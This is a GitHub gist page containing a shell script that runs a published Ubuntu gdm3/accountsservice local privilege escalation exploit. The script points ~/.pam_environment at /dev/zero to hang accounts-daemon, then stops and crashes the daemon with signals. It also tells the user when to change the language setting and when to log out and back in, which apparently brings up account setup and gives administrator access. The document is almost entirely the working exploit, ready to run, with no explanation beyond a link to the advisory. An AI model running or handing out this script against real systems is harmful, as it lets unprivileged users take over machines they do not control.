Skip to content

Instantly share code, notes, and snippets.

@Unknown6656
Created November 19, 2020 15:25
Show Gist options
  • Save Unknown6656/7dca6149949c4af9784d5cf895a53561 to your computer and use it in GitHub Desktop.
Save Unknown6656/7dca6149949c4af9784d5cf895a53561 to your computer and use it in GitHub Desktop.
#!/bin/sh
# https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE
cd ~
PAM=~/.pam_environment
if [ -f "$PAM" ]; then
mv "$PAM" "$PAM~backup"
fi
ln -s /dev/zero "$PAM"
echo "PLEASE GO TO 'Settings > Region & Language' AND TRY CHANGING THE LANGUAGE."
echo "THE UI WILL FREEZE. YOUR CPU MIGHT GET ANGRY. IGNORE BOTH. GO BACK TO THIS TERMINAL."
sleep 3
echo
read -p "press any key to continue ..."
rm -f "$PAM"
acc_pid=$(pidof accounts-daemon)
kill -SIGSTOP $acc_pid
echo "AFTER PRESSING ANY KEY, LOG OUT IN THE NEXT 30 SECONDS."
echo "LOG IN AFTER THE 30 SECONDS HAVE ELAPSED."
echo
read -p "press any key to continue ..."
nohup bash -c "sleep 30s; kill -SIGSEGV $acc_pid; kill -SIGCONT $acc_pid"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment